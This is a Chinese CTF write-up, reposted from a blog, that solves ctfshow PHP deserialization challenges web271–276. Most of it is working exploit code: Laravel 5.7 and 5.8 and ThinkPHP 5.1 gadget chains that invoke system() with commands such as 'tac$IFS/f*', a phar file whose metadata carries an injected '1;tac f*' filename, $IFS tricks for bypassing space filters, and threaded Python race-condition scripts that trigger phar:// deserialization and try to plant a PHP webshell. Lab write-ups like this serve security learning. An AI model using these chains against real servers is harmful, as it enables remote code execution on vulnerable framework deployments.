0


ctfshow-反序列化(web271-web276)

为什么不用分析具体为什么能成功 ,后面会有几个专题 会对php框架进行更深入的了解 这里面会专门的研究 为什么能够实现RCE

前面作为初步的熟悉 首先知道一下他的框架 知道框架的风格 知道啥版本可以用什么来打

首先先不用太研究 这样的话 自己会感觉会难 所以以后再说 随着积累刚开始不理解的地方做的多了就豁然开朗

就像收集的框架确定有用后 可以保留 以后没准遇得到

web271

laravel5.7反序列化漏洞

使用网上公布的反序列化的链子

源代码

  1. <?php
  2. /**
  3. * Laravel - A PHP Framework For Web Artisans
  4. *
  5. * @package Laravel
  6. * @author Taylor Otwell <taylor@laravel.com>
  7. */
  8. define('LARAVEL_START', microtime(true));
  9. /*
  10. |--------------------------------------------------------------------------
  11. | Register The Auto Loader
  12. |--------------------------------------------------------------------------
  13. |
  14. | Composer provides a convenient, automatically generated class loader for
  15. | our application. We just need to utilize it! We'll simply require it
  16. | into the script here so that we don't have to worry about manual
  17. | loading any of our classes later on. It feels great to relax.
  18. |
  19. */
  20. require __DIR__ . '/../vendor/autoload.php';
  21. /*
  22. |--------------------------------------------------------------------------
  23. | Turn On The Lights
  24. |--------------------------------------------------------------------------
  25. |
  26. | We need to illuminate PHP development, so let us turn on the lights.
  27. | This bootstraps the framework and gets it ready for use, then it
  28. | will load up this application so that we can run it and send
  29. | the responses back to the browser and delight our users.
  30. |
  31. */
  32. $app = require_once __DIR__ . '/../bootstrap/app.php';
  33. /*
  34. |--------------------------------------------------------------------------
  35. | Run The Application
  36. |--------------------------------------------------------------------------
  37. |
  38. | Once we have the application, we can handle the incoming request
  39. | through the kernel, and send the associated response back to
  40. | the client's browser allowing them to enjoy the creative
  41. | and wonderful application we have prepared for them.
  42. |
  43. */
  44. $kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
  45. $response = $kernel->handle(
  46. $request = Illuminate\Http\Request::capture()
  47. );
  48. @unserialize($_POST['data']);
  49. highlight_file(__FILE__);
  50. $kernel->terminate($request, $response);

exp

  1. <?php
  2. //gadgets.php
  3. namespace Illuminate\Foundation\Testing{
  4. class PendingCommand{
  5. protected $command;
  6. protected $parameters;
  7. protected $app;
  8. public $test;
  9. public function __construct($command, $parameters,$class,$app)
  10. {
  11. $this->command = $command;
  12. $this->parameters = $parameters;
  13. $this->test=$class;
  14. $this->app=$app;
  15. }
  16. }
  17. }
  18. namespace Illuminate\Auth{
  19. class GenericUser{
  20. protected $attributes;
  21. public function __construct(array $attributes){
  22. $this->attributes = $attributes;
  23. }
  24. }
  25. }
  26. namespace Illuminate\Foundation{
  27. class Application{
  28. protected $hasBeenBootstrapped = false;
  29. protected $bindings;
  30. public function __construct($bind){
  31. $this->bindings=$bind;
  32. }
  33. }
  34. }
  35. namespace{
  36. echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('ls /'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
  37. }
  38. ?>

不知道为什么么找了好多链子 这个和大师傅的链子一摸一样 但是都有一个通用的问题 一旦命令中出现空格 就不好使,自己找出来解决方式了 使用$IFS代表空格

  1. $IFS$9

是为了绕过命令中的空格 加不加$9都可以 他俩的意思应该都是空格 反正能代替空格

发现了flag

查看flag内容

web272-273

laravel5.8反序列化漏洞

源码

  1. <?php
  2. /**
  3. * Laravel - A PHP Framework For Web Artisans
  4. *
  5. * @package Laravel
  6. * @author Taylor Otwell <taylor@laravel.com>
  7. */
  8. define('LARAVEL_START', microtime(true));
  9. /*
  10. |--------------------------------------------------------------------------
  11. | Register The Auto Loader
  12. |--------------------------------------------------------------------------
  13. |
  14. | Composer provides a convenient, automatically generated class loader for
  15. | our application. We just need to utilize it! We'll simply require it
  16. | into the script here so that we don't have to worry about manual
  17. | loading any of our classes later on. It feels great to relax.
  18. |
  19. */
  20. require __DIR__ . '/../vendor/autoload.php';
  21. /*
  22. |--------------------------------------------------------------------------
  23. | Turn On The Lights
  24. |--------------------------------------------------------------------------
  25. |
  26. | We need to illuminate PHP development, so let us turn on the lights.
  27. | This bootstraps the framework and gets it ready for use, then it
  28. | will load up this application so that we can run it and send
  29. | the responses back to the browser and delight our users.
  30. |
  31. */
  32. $app = require_once __DIR__ . '/../bootstrap/app.php';
  33. /*
  34. |--------------------------------------------------------------------------
  35. | Run The Application
  36. |--------------------------------------------------------------------------
  37. |
  38. | Once we have the application, we can handle the incoming request
  39. | through the kernel, and send the associated response back to
  40. | the client's browser allowing them to enjoy the creative
  41. | and wonderful application we have prepared for them.
  42. |
  43. */
  44. $kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
  45. $response = $kernel->handle(
  46. $request = Illuminate\Http\Request::capture()
  47. );
  48. @unserialize($_POST['data']);
  49. highlight_file(__FILE__);
  50. $kernel->terminate($request, $response);

看看之前的poc可不可以 不行,新找一个

exp

  1. <?php
  2. namespace Illuminate\Broadcasting{
  3. class PendingBroadcast
  4. {
  5. protected $events;
  6. protected $event;
  7. public function __construct($events="",$event="")
  8. {
  9. $this->events = $events;
  10. $this->event = $event;
  11. }
  12. }
  13. }
  14. namespace Illuminate\Bus{
  15. class Dispatcher
  16. {
  17. protected $queueResolver = "system";
  18. }
  19. }
  20. namespace Illuminate\Broadcasting{
  21. class BroadcastEvent
  22. {
  23. public $connection = 'tac$IFS/f*';
  24. }
  25. }
  26. namespace{
  27. $d = new Illuminate\Bus\Dispatcher();
  28. $b = new Illuminate\Broadcasting\BroadcastEvent();
  29. $p = new Illuminate\Broadcasting\PendingBroadcast($d,$b);
  30. echo urlencode(serialize($p));
  31. }
  32. ?>

查看根目录文件

查看flag

成功

大师傅的链子我没找到 找到一个基本差不多的 但是我的不好使 他直接传cookie 将结果传进了cookie中

然后的到路径后 写木马到1.php

web273用272的链子就行 老师的这个我是真喜欢 但是我的不好使

web274

thinkphp框架

5.1也有几个链子

现在就是找反序列化入口

查看源码发现提示 GET方式传入data参数

网上找一个thinkphp5.1的链子

exp

  1. <?php
  2. namespace think;
  3. abstract class Model{
  4. protected $append = [];
  5. private $data = [];
  6. function __construct(){
  7. $this->append = ["lin"=>["calc.exe","calc"]];
  8. $this->data = ["lin"=>new Request()];
  9. }
  10. }
  11. class Request
  12. {
  13. protected $hook = [];
  14. protected $filter = "system";
  15. protected $config = [
  16. // 表单ajax伪装变量
  17. 'var_ajax' => '_ajax',
  18. ];
  19. function __construct(){
  20. $this->filter = "system";
  21. $this->config = ["var_ajax"=>'lin'];
  22. $this->hook = ["visible"=>[$this,"isAjax"]];
  23. }
  24. }
  25. namespace think\process\pipes;
  26. use think\model\concern\Conversion;
  27. use think\model\Pivot;
  28. class Windows
  29. {
  30. private $files = [];
  31. public function __construct()
  32. {
  33. $this->files=[new Pivot()];
  34. }
  35. }
  36. namespace think\model;
  37. use think\Model;
  38. class Pivot extends Model
  39. {
  40. }
  41. use think\process\pipes\Windows;
  42. echo base64_encode(serialize(new Windows()));
  43. ?>

通过lin进行传参

成功获取flag

web275

代码

  1. <?php
  2. /*
  3. # -*- coding: utf-8 -*-
  4. # @Author: h1xa
  5. # @Date: 2020-12-08 19:13:36
  6. # @Last Modified by: h1xa
  7. # @Last Modified time: 2020-12-08 20:08:07
  8. # @email: h1xa@ctfer.com
  9. # @link: https://ctfer.com
  10. */
  11. highlight_file(__FILE__);
  12. class filter{
  13. public $filename; //定义三个属性
  14. public $filecontent;
  15. public $evilfile=false;
  16. public function __construct($f,$fn){//将传进来的两个参数赋值给属性
  17. $this->filename=$f;
  18. $this->filecontent=$fn;
  19. }
  20. public function checkevil(){
  21. if(preg_match('/php|\.\./i', $this->filename)){//在filename如果匹配了php 那就给evilfile赋值为真
  22. $this->evilfile=true;
  23. }
  24. if(preg_match('/flag/i', $this->filecontent)){//在filecontent如果匹配flag 那就给evilfile赋值为真
  25. $this->evilfile=true;
  26. }
  27. return $this->evilfile;//返回evilfile
  28. }
  29. public function __destruct(){//反序列化的时候 如果evilfile为真
  30. if($this->evilfile){ //执行系统命令rm $filename
  31. system('rm '.$this->filename);
  32. }
  33. }
  34. }
  35. if(isset($_GET['fn'])){//传入fn
  36. $content = file_get_contents('php://input');//获取通过 HTTP POST 请求发送的原始数据。
  37. $f = new filter($_GET['fn'],$content);//传入两个参数 第一个参数get获取到的 第二个参数post获取到的 会先触发construct后触发destruct
  38. if($f->checkevil()===false){//如果evilfile为假
  39. file_put_contents($_GET['fn'], $content);//写文件 将POST值写入GET的值的文件中
  40. copy($_GET['fn'],md5(mt_rand()).'.txt');//将从 GET 请求中获取的文件复制到一个以随机生成的 MD5 哈希作为文件名的新文件中。
  41. unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);//删除GET的文件 前面代表网站根目录
  42. echo 'work done';
  43. }
  44. }else{
  45. echo 'where is flag?';
  46. }
  47. where is flag?
  48. //

看的差不多足够我们RCE(远程代码执行)了

很简单

查看flag

可以看到都不需要干别的就能rce了

web276

(这道题我感觉我比百度搜的都细 这道题他们都不写)

源码

  1. <?php
  2. /*
  3. # -*- coding: utf-8 -*-
  4. # @Author: h1xa
  5. # @Date: 2020-12-08 19:13:36
  6. # @Last Modified by: h1xa
  7. # @Last Modified time: 2020-12-08 20:08:07
  8. # @email: h1xa@ctfer.com
  9. # @link: https://ctfer.com
  10. mytime 2023/12/7 23:20
  11. */
  12. highlight_file(__FILE__);
  13. class filter{
  14. public $filename;
  15. public $filecontent;
  16. public $evilfile=false;
  17. public $admin = false;
  18. public function __construct($f,$fn){
  19. $this->filename=$f;
  20. $this->filecontent=$fn;
  21. }
  22. public function checkevil(){
  23. if(preg_match('/php|\.\./i', $this->filename)){
  24. $this->evilfile=true;
  25. }
  26. if(preg_match('/flag/i', $this->filecontent)){
  27. $this->evilfile=true;
  28. }
  29. return $this->evilfile;
  30. }
  31. public function __destruct(){
  32. if($this->evilfile && $this->admin){//必须保证evilfile和admin都为真 才可以
  33. system('rm '.$this->filename);
  34. }
  35. }
  36. }
  37. if(isset($_GET['fn'])){
  38. $content = file_get_contents('php://input');
  39. $f = new filter($_GET['fn'],$content);
  40. if($f->checkevil()===false){
  41. file_put_contents($_GET['fn'], $content);
  42. copy($_GET['fn'],md5(mt_rand()).'.txt');
  43. unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);//删除文件 在删除见我们要使用phar://进行解析该文件使得phar文件内容进行反序列化
  44. echo 'work done';
  45. }
  46. }else{
  47. echo 'where is flag?';
  48. }
  49. <?php file_put_contents("new_file.txt", "Hello, World!"); ?>

需要先写入phar包,然后条件竞争在其被删除前通过 phar:// 使其反序列化来命令执行

phar包通过 phar:// 解析获取处理时会反序列化

先生成一个我们所需的phar包(使用php生成phar模板按照我们所需要求修改的)

生成phar包

  1. <?php
  2. highlight_file(__FILE__);
  3. class filter{
  4. public $filename="1;tac f*";
  5. public $filecontent;
  6. public $evilfile=true;
  7. public $admin = true;
  8. }
  9. $a=new filter();
  10. @unlink('phar.phar'); //删除之前的test.par文件(如果有)
  11. $phar=new Phar('phar.phar'); //创建一个phar对象,文件名必须以phar为后缀
  12. $phar->startBuffering(); //开始写文件
  13. $phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
  14. $phar->setMetadata($a);//写入meta-data 这里进行序列化
  15. $phar->addFromString("phar.txt","phar"); //添加要压缩的文件
  16. $phar->stopBuffering();

用python写一个脚本 持续提交phar和获取phar内容 开启条件竞争 (这个脚本按照大师傅 自己写的 真爽 写的代码量巨少 功能巨强)

python脚本

  1. import requests
  2. import threading
  3. url = 'http://8f28ec2c-f5c0-445d-b3a3-ac9ebe60556c.challenge.ctf.show/'
  4. data = open('./phar.phar', 'rb').read()
  5. flag = True
  6. def write(): # 写入phar.phar
  7. requests.post(url+'?fn=phar.phar', data=data)#post方法提交数据 数据就是从本地phar文件中获取的二进制数据(图像视频什么的必须使用二进制方式读取否则乱码)
  8. def unserialize(): # 触发反序列化
  9. global flag #在函数内部声明一个全局变量 函数内部修改变量 必须使用global
  10. r = requests.get(url+'?fn=phar://phar.phar')#发送get请求 phar方式进行读取我们传入的phar文件 在没删除之前快速读取
  11. #请求如果获取到内容了保存在r变量中
  12. if 'ctfshow{' in r.text and flag:#在内容中如果存在ctfshow字样
  13. print(r.text)
  14. flag = False
  15. while flag: # 线程条件竞争,直到读到flag
  16. threading.Thread(target = write).start() #开启一个线程 循环执行线程里面的函数
  17. threading.Thread(target = unserialize).start() #同理 直到输出了r.text flag为假 才会停止执行

执行python代码 成功获取到flag

因为我是小白嘛 什么都不是很理解 这道题我发现了python脚本的好处 直呼神奇

说是条件竞争 我又想到了一种 但是没有成功不知道什么原因 就是再没删除前写入一句话木马到一个文件内 ,最后访问这个文件 可惜没有成功 但是是个思路记录一下吧

  1. import requests
  2. import threading
  3. import time
  4. url = 'http://64ebefe9-27f9-48a2-bf08-06f23b3f36f0.challenge.ctf.show/'
  5. data = "<?php file_put_contents('tzy.php','<?php phpinfo();?>', FILE_APPEND); ?>"
  6. flag = True
  7. def post():
  8. requests.post(url+'?fn=1.PHP', data=data)
  9. def get1():
  10. requests.get(url + '1.php')
  11. def get2():
  12. r = requests.get(url+'tzy.php')
  13. if 'PHP Version' in r.text:
  14. global flag
  15. flag = False
  16. while flag:
  17. threading.Thread(target=get1).start()
  18. threading.Thread(target=get2).start()
  19. threading.Thread(target=post).start()

本文转载自: https://blog.csdn.net/m0_72125469/article/details/134856592
版权归原作者 网安小t 所有, 如有侵权,请联系我们删除。

“ctfshow-反序列化(web271-web276)”的评论:

还没有评论